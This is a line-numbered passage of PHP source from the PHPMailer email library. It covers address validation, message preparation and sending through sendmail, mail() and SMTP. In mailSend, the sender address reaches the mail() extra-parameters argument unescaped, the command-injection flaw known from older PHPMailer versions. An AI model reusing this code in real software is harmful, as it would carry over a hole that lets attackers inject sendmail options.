  8410. protected $sign_cert_file = '';
  8411.  
  8412. /**
  8413. * The S/MIME key file path.
  8414. * @type string
  8415. * @access protected
  8416. */
  8417. protected $sign_key_file = '';
  8418.  
  8419. /**
  8420. * The S/MIME password for the key.
  8421. * Used only if the key is encrypted.
  8422. * @type string
  8423. * @access protected
  8424. */
  8425. protected $sign_key_pass = '';
  8426.  
  8427. /**
  8428. * Whether to throw exceptions for errors.
  8429. * @type boolean
  8430. * @access protected
  8431. */
  8432. protected $exceptions = false;
  8433.  
  8434. /**
  8435. * Error severity: message only, continue processing.
  8436. */
  8437. const STOP_MESSAGE = 0;
  8438.  
  8439. /**
  8440. * Error severity: message, likely ok to continue processing.
  8441. */
  8442. const STOP_CONTINUE = 1;
  8443.  
  8444. /**
  8445. * Error severity: message, plus full stop, critical error reached.
  8446. */
  8447. const STOP_CRITICAL = 2;
  8448.  
  8449. /**
  8450. * SMTP RFC standard line ending.
  8451. */
  8452. const CRLF = "\r\n";
  8453.  
  8454. /**
  8455. * Constructor.
  8456. * @param boolean $exceptions Should we throw external exceptions?
  8457. */
  8458. public function __construct($exceptions = false)
  8459. {
  8460. $this->exceptions = (boolean)$exceptions;
  8461. }
  8462.  
  8463. /**
  8464. * Destructor.
  8465. */
  8466. public function __destruct()
  8467. {
  8468. if ($this->Mailer == 'smtp') { //close any open SMTP connection nicely
  8469. $this->smtpClose();
  8470. }
  8471. }
  8472.  
  8473. /**
  8474. * Call mail() in a safe_mode-aware fashion.
  8475. * Also, unless sendmail_path points to sendmail (or something that
  8476. * claims to be sendmail), don't pass params (not a perfect fix,
  8477. * but it will do)
  8478. * @param string $to To
  8479. * @param string $subject Subject
  8480. * @param string $body Message Body
  8481. * @param string $header Additional Header(s)
  8482. * @param string $params Params
  8483. * @access private
  8484. * @return boolean
  8485. */
  8486. private function mailPassthru($to, $subject, $body, $header, $params)
  8487. {
  8488. //Check overloading of mail function to avoid double-encoding
  8489. if (ini_get('mbstring.func_overload') & 1) {
  8490. $subject = $this->secureHeader($subject);
  8491. } else {
  8492. $subject = $this->encodeHeader($this->secureHeader($subject));
  8493. }
  8494. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  8495. $result = @mail($to, $subject, $body, $header);
  8496. } else {
  8497. $result = @mail($to, $subject, $body, $header, $params);
  8498. }
  8499. return $result;
  8500. }
  8501.  
  8502. /**
  8503. * Output debugging info via user-defined method.
  8504. * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  8505. * @see PHPMailer::$Debugoutput
  8506. * @see PHPMailer::$SMTPDebug
  8507. * @param string $str
  8508. */
  8509. protected function edebug($str)
  8510. {
  8511. if ($this->SMTPDebug <= 0) {
  8512. return;
  8513. }
  8514. //Avoid clash with built-in function names
  8515. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  8516. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  8517. return;
  8518. }
  8519. switch ($this->Debugoutput) {
  8520. case 'error_log':
  8521. //Don't output, just log
  8522. error_log($str);
  8523. break;
  8524. case 'html':
  8525. //Cleans up output a bit for a better looking, HTML-safe output
  8526. echo htmlentities(
  8527. preg_replace('/[\r\n]+/', '', $str),
  8528. ENT_QUOTES,
  8529. 'UTF-8'
  8530. )
  8531. . "<br>\n";
  8532. break;
  8533. case 'echo':
  8534. default:
  8535. //Normalize line breaks
  8536. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  8537. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  8538. "\n",
  8539. "\n \t ",
  8540. trim($str)
  8541. ) . "\n";
  8542. }
  8543. }
  8544.  
  8545. /**
  8546. * Sets message type to HTML or plain.
  8547. * @param boolean $isHtml True for HTML mode.
  8548. * @return void
  8549. */
  8550. public function isHTML($isHtml = true)
  8551. {
  8552. if ($isHtml) {
  8553. $this->ContentType = 'text/html';
  8554. } else {
  8555. $this->ContentType = 'text/plain';
  8556. }
  8557. }
  8558.  
  8559. /**
  8560. * Send messages using SMTP.
  8561. * @return void
  8562. */
  8563. public function isSMTP()
  8564. {
  8565. $this->Mailer = 'smtp';
  8566. }
  8567.  
  8568. /**
  8569. * Send messages using PHP's mail() function.
  8570. * @return void
  8571. */
  8572. public function isMail()
  8573. {
  8574. $this->Mailer = 'mail';
  8575. }
  8576.  
  8577. /**
  8578. * Send messages using $Sendmail.
  8579. * @return void
  8580. */
  8581. public function isSendmail()
  8582. {
  8583. $ini_sendmail_path = ini_get('sendmail_path');
  8584.  
  8585. if (!stristr($ini_sendmail_path, 'sendmail')) {
  8586. $this->Sendmail = '/usr/sbin/sendmail';
  8587. } else {
  8588. $this->Sendmail = $ini_sendmail_path;
  8589. }
  8590. $this->Mailer = 'sendmail';
  8591. }
  8592.  
  8593. /**
  8594. * Send messages using qmail.
  8595. * @return void
  8596. */
  8597. public function isQmail()
  8598. {
  8599. $ini_sendmail_path = ini_get('sendmail_path');
  8600.  
  8601. if (!stristr($ini_sendmail_path, 'qmail')) {
  8602. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  8603. } else {
  8604. $this->Sendmail = $ini_sendmail_path;
  8605. }
  8606. $this->Mailer = 'qmail';
  8607. }
  8608.  
  8609. /**
  8610. * Add a "To" address.
  8611. * @param string $address
  8612. * @param string $name
  8613. * @return boolean true on success, false if address already used
  8614. */
  8615. public function addAddress($address, $name = '')
  8616. {
  8617. return $this->addAnAddress('to', $address, $name);
  8618. }
  8619.  
  8620. /**
  8621. * Add a "CC" address.
  8622. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  8623. * @param string $address
  8624. * @param string $name
  8625. * @return boolean true on success, false if address already used
  8626. */
  8627. public function addCC($address, $name = '')
  8628. {
  8629. return $this->addAnAddress('cc', $address, $name);
  8630. }
  8631.  
  8632. /**
  8633. * Add a "BCC" address.
  8634. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  8635. * @param string $address
  8636. * @param string $name
  8637. * @return boolean true on success, false if address already used
  8638. */
  8639. public function addBCC($address, $name = '')
  8640. {
  8641. return $this->addAnAddress('bcc', $address, $name);
  8642. }
  8643.  
  8644. /**
  8645. * Add a "Reply-to" address.
  8646. * @param string $address
  8647. * @param string $name
  8648. * @return boolean
  8649. */
  8650. public function addReplyTo($address, $name = '')
  8651. {
  8652. return $this->addAnAddress('Reply-To', $address, $name);
  8653. }
  8654.  
  8655. /**
  8656. * Add an address to one of the recipient arrays.
  8657. * Addresses that have been added already return false, but do not throw exceptions
  8658. * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
  8659. * @param string $address The email address to send to
  8660. * @param string $name
  8661. * @throws phpmailerException
  8662. * @return boolean true on success, false if address already used or invalid in some way
  8663. * @access protected
  8664. */
  8665. protected function addAnAddress($kind, $address, $name = '')
  8666. {
  8667. if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
  8668. $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
  8669. $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
  8670. if ($this->exceptions) {
  8671. throw new phpmailerException('Invalid recipient array: ' . $kind);
  8672. }
  8673. return false;
  8674. }
  8675. $address = trim($address);
  8676. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  8677. if (!$this->validateAddress($address)) {
  8678. $this->setError($this->lang('invalid_address') . ': ' . $address);
  8679. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  8680. if ($this->exceptions) {
  8681. throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  8682. }
  8683. return false;
  8684. }
  8685. if ($kind != 'Reply-To') {
  8686. if (!isset($this->all_recipients[strtolower($address)])) {
  8687. array_push($this->$kind, array($address, $name));
  8688. $this->all_recipients[strtolower($address)] = true;
  8689. return true;
  8690. }
  8691. } else {
  8692. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  8693. $this->ReplyTo[strtolower($address)] = array($address, $name);
  8694. return true;
  8695. }
  8696. }
  8697. return false;
  8698. }
  8699.  
  8700. /**
  8701. * Set the From and FromName properties.
  8702. * @param string $address
  8703. * @param string $name
  8704. * @param boolean $auto Whether to also set the Sender address, defaults to true
  8705. * @throws phpmailerException
  8706. * @return boolean
  8707. */
  8708. public function setFrom($address, $name = '', $auto = true)
  8709. {
  8710. $address = trim($address);
  8711. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  8712. if (!$this->validateAddress($address)) {
  8713. $this->setError($this->lang('invalid_address') . ': ' . $address);
  8714. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  8715. if ($this->exceptions) {
  8716. throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  8717. }
  8718. return false;
  8719. }
  8720. $this->From = $address;
  8721. $this->FromName = $name;
  8722. if ($auto) {
  8723. if (empty($this->Sender)) {
  8724. $this->Sender = $address;
  8725. }
  8726. }
  8727. return true;
  8728. }
  8729.  
  8730. /**
  8731. * Return the Message-ID header of the last email.
  8732. * Technically this is the value from the last time the headers were created,
  8733. * but it's also the message ID of the last sent message except in
  8734. * pathological cases.
  8735. * @return string
  8736. */
  8737. public function getLastMessageID()
  8738. {
  8739. return $this->lastMessageID;
  8740. }
  8741.  
  8742. /**
  8743. * Check that a string looks like an email address.
  8744. * @param string $address The email address to check
  8745. * @param string $patternselect A selector for the validation pattern to use :
  8746. * * `auto` Pick strictest one automatically;
  8747. * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  8748. * * `pcre` Use old PCRE implementation;
  8749. * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; same as pcre8 but does not allow 'dotless' domains;
  8750. * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  8751. * * `noregex` Don't use a regex: super fast, really dumb.
  8752. * @return boolean
  8753. * @static
  8754. * @access public
  8755. */
  8756. public static function validateAddress($address, $patternselect = 'auto')
  8757. {
  8758. if (!$patternselect or $patternselect == 'auto') {
  8759. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  8760. //Constant was added in PHP 5.2.4
  8761. if (defined('PCRE_VERSION')) {
  8762. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  8763. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  8764. $patternselect = 'pcre8';
  8765. } else {
  8766. $patternselect = 'pcre';
  8767. }
  8768. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  8769. //Fall back to older PCRE
  8770. $patternselect = 'pcre';
  8771. } else {
  8772. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  8773. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  8774. $patternselect = 'php';
  8775. } else {
  8776. $patternselect = 'noregex';
  8777. }
  8778. }
  8779. }
  8780. switch ($patternselect) {
  8781. case 'pcre8':
  8782. /**
  8783. * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  8784. * @link http://squiloople.com/2009/12/20/email-address-validation/
  8785. * @copyright 2009-2010 Michael Rushton
  8786. * Feel free to use and redistribute this code. But please keep this copyright notice.
  8787. */
  8788. return (boolean)preg_match(
  8789. '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  8790. '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  8791. '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  8792. '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  8793. '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  8794. '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  8795. '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  8796. '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  8797. '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  8798. $address
  8799. );
  8800. case 'pcre':
  8801. //An older regex that doesn't need a recent PCRE
  8802. return (boolean)preg_match(
  8803. '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  8804. '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  8805. '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  8806. '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  8807. '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  8808. '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  8809. '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  8810. '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  8811. '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  8812. '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  8813. $address
  8814. );
  8815. case 'html5':
  8816. /**
  8817. * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  8818. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  8819. */
  8820. return (boolean)preg_match(
  8821. '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  8822. '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  8823. $address
  8824. );
  8825. case 'noregex':
  8826. //No PCRE! Do something _very_ approximate!
  8827. //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  8828. return (strlen($address) >= 3
  8829. and strpos($address, '@') >= 1
  8830. and strpos($address, '@') != strlen($address) - 1);
  8831. case 'php':
  8832. default:
  8833. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  8834. }
  8835. }
  8836.  
  8837. /**
  8838. * Create a message and send it.
  8839. * Uses the sending method specified by $Mailer.
  8840. * @throws phpmailerException
  8841. * @return boolean false on error - See the ErrorInfo property for details of the error.
  8842. */
  8843. public function send()
  8844. {
  8845. try {
  8846. if (!$this->preSend()) {
  8847. return false;
  8848. }
  8849. return $this->postSend();
  8850. } catch (phpmailerException $exc) {
  8851. $this->mailHeader = '';
  8852. $this->setError($exc->getMessage());
  8853. if ($this->exceptions) {
  8854. throw $exc;
  8855. }
  8856. return false;
  8857. }
  8858. }
  8859.  
  8860. /**
  8861. * Prepare a message for sending.
  8862. * @throws phpmailerException
  8863. * @return boolean
  8864. */
  8865. public function preSend()
  8866. {
  8867. try {
  8868. $this->mailHeader = '';
  8869. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  8870. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  8871. }
  8872.  
  8873. // Set whether the message is multipart/alternative
  8874. if (!empty($this->AltBody)) {
  8875. $this->ContentType = 'multipart/alternative';
  8876. }
  8877.  
  8878. $this->error_count = 0; // reset errors
  8879. $this->setMessageType();
  8880. // Refuse to send an empty message unless we are specifically allowing it
  8881. if (!$this->AllowEmpty and empty($this->Body)) {
  8882. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  8883. }
  8884.  
  8885. $this->MIMEHeader = $this->createHeader();
  8886. $this->MIMEBody = $this->createBody();
  8887.  
  8888. // To capture the complete message when using mail(), create
  8889. // an extra header list which createHeader() doesn't fold in
  8890. if ($this->Mailer == 'mail') {
  8891. if (count($this->to) > 0) {
  8892. $this->mailHeader .= $this->addrAppend('To', $this->to);
  8893. } else {
  8894. $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  8895. }
  8896. $this->mailHeader .= $this->headerLine(
  8897. 'Subject',
  8898. $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  8899. );
  8900. }
  8901.  
  8902. // Sign with DKIM if enabled
  8903. if (!empty($this->DKIM_domain)
  8904. && !empty($this->DKIM_private)
  8905. && !empty($this->DKIM_selector)
  8906. && file_exists($this->DKIM_private)) {
  8907. $header_dkim = $this->DKIM_Add(
  8908. $this->MIMEHeader . $this->mailHeader,
  8909. $this->encodeHeader($this->secureHeader($this->Subject)),
  8910. $this->MIMEBody
  8911. );
  8912. $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  8913. str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  8914. }
  8915. return true;
  8916.  
  8917. } catch (phpmailerException $exc) {
  8918. $this->setError($exc->getMessage());
  8919. if ($this->exceptions) {
  8920. throw $exc;
  8921. }
  8922. return false;
  8923. }
  8924. }
  8925.  
  8926. /**
  8927. * Actually send a message.
  8928. * Send the email via the selected mechanism
  8929. * @throws phpmailerException
  8930. * @return boolean
  8931. */
  8932. public function postSend()
  8933. {
  8934. try {
  8935. // Choose the mailer and send through it
  8936. switch ($this->Mailer) {
  8937. case 'sendmail':
  8938. case 'qmail':
  8939. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  8940. case 'smtp':
  8941. return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  8942. case 'mail':
  8943. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  8944. default:
  8945. $sendMethod = $this->Mailer.'Send';
  8946. if (method_exists($this, $sendMethod)) {
  8947. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  8948. }
  8949.  
  8950. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  8951. }
  8952. } catch (phpmailerException $exc) {
  8953. $this->setError($exc->getMessage());
  8954. $this->edebug($exc->getMessage());
  8955. if ($this->exceptions) {
  8956. throw $exc;
  8957. }
  8958. }
  8959. return false;
  8960. }
  8961.  
  8962. /**
  8963. * Send mail using the $Sendmail program.
  8964. * @param string $header The message headers
  8965. * @param string $body The message body
  8966. * @see PHPMailer::$Sendmail
  8967. * @throws phpmailerException
  8968. * @access protected
  8969. * @return boolean
  8970. */
  8971. protected function sendmailSend($header, $body)
  8972. {
  8973. if ($this->Sender != '') {
  8974. if ($this->Mailer == 'qmail') {
  8975. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  8976. } else {
  8977. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  8978. }
  8979. } else {
  8980. if ($this->Mailer == 'qmail') {
  8981. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  8982. } else {
  8983. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  8984. }
  8985. }
  8986. if ($this->SingleTo) {
  8987. foreach ($this->SingleToArray as $toAddr) {
  8988. if (!@$mail = popen($sendmail, 'w')) {
  8989. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  8990. }
  8991. fputs($mail, 'To: ' . $toAddr . "\n");
  8992. fputs($mail, $header);
  8993. fputs($mail, $body);
  8994. $result = pclose($mail);
  8995. $this->doCallback(
  8996. ($result == 0),
  8997. array($toAddr),
  8998. $this->cc,
  8999. $this->bcc,
  9000. $this->Subject,
  9001. $body,
  9002. $this->From
  9003. );
  9004. if ($result != 0) {
  9005. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  9006. }
  9007. }
  9008. } else {
  9009. if (!@$mail = popen($sendmail, 'w')) {
  9010. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  9011. }
  9012. fputs($mail, $header);
  9013. fputs($mail, $body);
  9014. $result = pclose($mail);
  9015. $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  9016. if ($result != 0) {
  9017. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  9018. }
  9019. }
  9020. return true;
  9021. }
  9022.  
  9023. /**
  9024. * Send mail using the PHP mail() function.
  9025. * @param string $header The message headers
  9026. * @param string $body The message body
  9027. * @link http://www.php.net/manual/en/book.mail.php
  9028. * @throws phpmailerException
  9029. * @access protected
  9030. * @return boolean
  9031. */
  9032. protected function mailSend($header, $body)
  9033. {
  9034. $toArr = array();
  9035. foreach ($this->to as $toaddr) {
  9036. $toArr[] = $this->addrFormat($toaddr);
  9037. }
  9038. $to = implode(', ', $toArr);
  9039.  
  9040. if (empty($this->Sender)) {
  9041. $params = ' ';
  9042. } else {
  9043. $params = sprintf('-f%s', $this->Sender);
  9044. }
  9045. if ($this->Sender != '' and !ini_get('safe_mode')) {
  9046. $old_from = ini_get('sendmail_from');
  9047. ini_set('sendmail_from', $this->Sender);
  9048. }
  9049. $result = false;
  9050. if ($this->SingleTo && count($toArr) > 1) {
  9051. foreach ($toArr as $toAddr) {
  9052. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  9053. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  9054. }
  9055. } else {
  9056. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  9057. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  9058. }
  9059. if (isset($old_from)) {
  9060. ini_set('sendmail_from', $old_from);
  9061. }
  9062. if (!$result) {
  9063. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  9064. }
  9065. return true;
  9066. }
  9067.  
  9068. /**
  9069. * Get an instance to use for SMTP operations.
  9070. * Override this function to load your own SMTP implementation
  9071. * @return SMTP
  9072. */
  9073. public function getSMTPInstance()
  9074. {
  9075. if (!is_object($this->smtp)) {
  9076. $this->smtp = new SMTP;
  9077. }
  9078. return $this->smtp;
  9079. }
  9080.  
  9081. /**
  9082. * Send mail via SMTP.
  9083. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  9084. * Uses the PHPMailerSMTP class by default.
  9085. * @see PHPMailer::getSMTPInstance() to use a different class.
  9086. * @param string $header The message headers
  9087. * @param string $body The message body
  9088. * @throws phpmailerException
  9089. * @uses SMTP
  9090. * @access protected
  9091. * @return boolean
  9092. */
  9093. protected function smtpSend($header, $body)
  9094. {
  9095. $bad_rcpt = array();
  9096.  
  9097. if (!$this->smtpConnect()) {
  9098. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  9099. }
  9100. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  9101. if (!$this->smtp->mail($smtp_from)) {
  9102. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  9103. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  9104. }
  9105.  
  9106. // Attempt to send to all recipients
  9107. foreach ($this->to as $to) {
  9108. if (!$this->smtp->recipient($to[0])) {
  9109. $bad_rcpt[] = $to[0];
  9110. $isSent = false;
  9111. } else {
  9112. $isSent = true;
  9113. }
  9114. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  9115. }
  9116. foreach ($this->cc as $cc) {
  9117. if (!$this->smtp->recipient($cc[0])) {
  9118. $bad_rcpt[] = $cc[0];
  9119. $isSent = false;
  9120. } else {
  9121. $isSent = true;
  9122. }
  9123. $this->doCallback($isSent, array(), array($cc[0]), array(), $this->Subject, $body, $this->From);
  9124. }
  9125. foreach ($this->bcc as $bcc) {
  9126. if (!$this->smtp->recipient($bcc[0])) {
  9127. $bad_rcpt[] = $bcc[0];
  9128. $isSent = false;
  9129. } else {
  9130. $isSent = true;
  9131. }
  9132. $this->doCallback($isSent, array(), array(), array($bcc[0]), $this->Subject, $body, $this->From);
  9133. }
  9134.  
  9135. // Only send the DATA command if we have viable recipients
  9136. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  9137. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  9138. }
  9139. if ($this->SMTPKeepAlive) {
  9140. $this->smtp->reset();
  9141. } else {
  9142. $this->smtp->quit();
  9143. $this->smtp->close();
  9144. }
  9145. if (count($bad_rcpt) > 0) { // Create error message for any bad addresses
  9146. throw new phpmailerException(
  9147. $this->lang('recipients_failed') . implode(', ', $bad_rcpt),
  9148. self::STOP_CONTINUE
  9149. );
  9150. }
  9151. return true;
  9152. }
  9153.  
  9154. /**
  9155. * Initiate a connection to an SMTP server.
  9156. * Returns false if the operation failed.
  9157. * @param array $options An array of options compatible with stream_context_create()
  9158. * @uses SMTP
  9159. * @access public
  9160. * @throws phpmailerException
  9161. * @return boolean
  9162. */
  9163. public function smtpConnect($options = array())
  9164. {
  9165. if (is_null($this->smtp)) {
  9166. $this->smtp = $this->getSMTPInstance();
  9167. }
  9168.  
  9169. // Already connected?
  9170. if ($this->smtp->connected()) {
  9171. return true;
  9172. }
  9173.  
  9174. $this->smtp->setTimeout($this->Timeout);
  9175. $this->smtp->setDebugLevel($this->SMTPDebug);
  9176. $this->smtp->setDebugOutput($this->Debugoutput);
  9177. $this->smtp->setVerp($this->do_verp);
  9178. $hosts = explode(';', $this->Host);
  9179. $lastexception = null;
  9180.  
  9181. foreach ($hosts as $hostentry) {
  9182. $hostinfo = array();
  9183. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  9184. // Not a valid host entry
  9185. continue;
  9186. }
  9187. // $hostinfo[2]: optional ssl or tls prefix
  9188. // $hostinfo[3]: the hostname
  9189. // $hostinfo[4]: optional port number
  9190. // The host string prefix can temporarily override the current setting for SMTPSecure
  9191. // If it's not specified, the default value is used
  9192. $prefix = '';
  9193. $tls = ($this->SMTPSecure == 'tls');
  9194. if ($hostinfo[2] == 'ssl' or ($hostinfo[2] == '' and $this->SMTPSecure == 'ssl')) {
  9195. $prefix = 'ssl://';
  9196. $tls = false; // Can't have SSL and TLS at once
  9197. } elseif ($hostinfo[2] == 'tls') {
  9198. $tls = true;
  9199. // tls doesn't use a prefix
  9200. }
  9201. $host = $hostinfo[3];
  9202. $port = $this->Port;
  9203. $tport = (integer)$hostinfo[4];
  9204. if ($tport > 0 and $tport < 65536) {
  9205. $port = $tport;
  9206. }
  9207. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  9208. try {
  9209. if ($this->Helo) {
  9210. $hello = $this->Helo;
  9211. } else {
  9212. $hello = $this->serverHostname();
  9213. }
  9214. $this->smtp->hello($hello);
  9215.  
  9216. if ($tls) {
  9217. if (!$this->smtp->startTLS()) {
  9218. throw new phpmailerException($this->lang('connect_host'));
  9219. }
  9220. // We must resend HELO after tls negotiation
  9221. $this->smtp->hello($hello);
  9222. }
  9223. if ($this->SMTPAuth) {
  9224. if (!$this->smtp->authenticate(
  9225. $this->Username,
  9226. $this->Password,
  9227. $this->AuthType,
  9228. $this->Realm,
  9229. $this->Workstation
  9230. )
  9231. ) {
  9232. throw new phpmailerException($this->lang('authenticate'));
  9233. }
  9234. }
  9235. return true;
  9236. } catch (phpmailerException $exc) {
  9237. $lastexception = $exc;
  9238. // We must have connected, but then failed TLS or Auth, so close connection nicely
  9239. $this->smtp->quit();
  9240. }
  9241. }
  9242. }
  9243. // If we get here, all connection attempts have failed, so close connection hard
  9244. $this->smtp->close();
  9245. // As we've caught all exceptions, just report whatever the last one was
  9246. if ($this->exceptions and !is_null($lastexception)) {
  9247. throw $lastexception;
  9248. }
  9249. return false;
  9250. }
  9251.  
  9252. /**
  9253. * Close the active SMTP session if one exists.
  9254. * @return void
  9255. */
  9256. public function smtpClose()
  9257. {
  9258. if ($this->smtp !== null) {
  9259. if ($this->smtp->connected()) {
  9260. $this->smtp->quit();
  9261. $this->smtp->close();
  9262. }
  9263. }
  9264. }
  9265.  
  9266. /**
  9267. * Set the language for error messages.
  9268. * Returns false if it cannot load the language file.
  9269. * The default language is English.
  9270. * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  9271. * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  9272. * @return boolean
  9273. * @access public
  9274. */
  9275. public function setLanguage($langcode = 'en', $lang_path = '')
  9276. {
  9277. // Define full set of translatable strings in English
  9278. $PHPMAILER_LANG = array(
  9279. 'authenticate' => 'SMTP Error: Could not authenticate.',
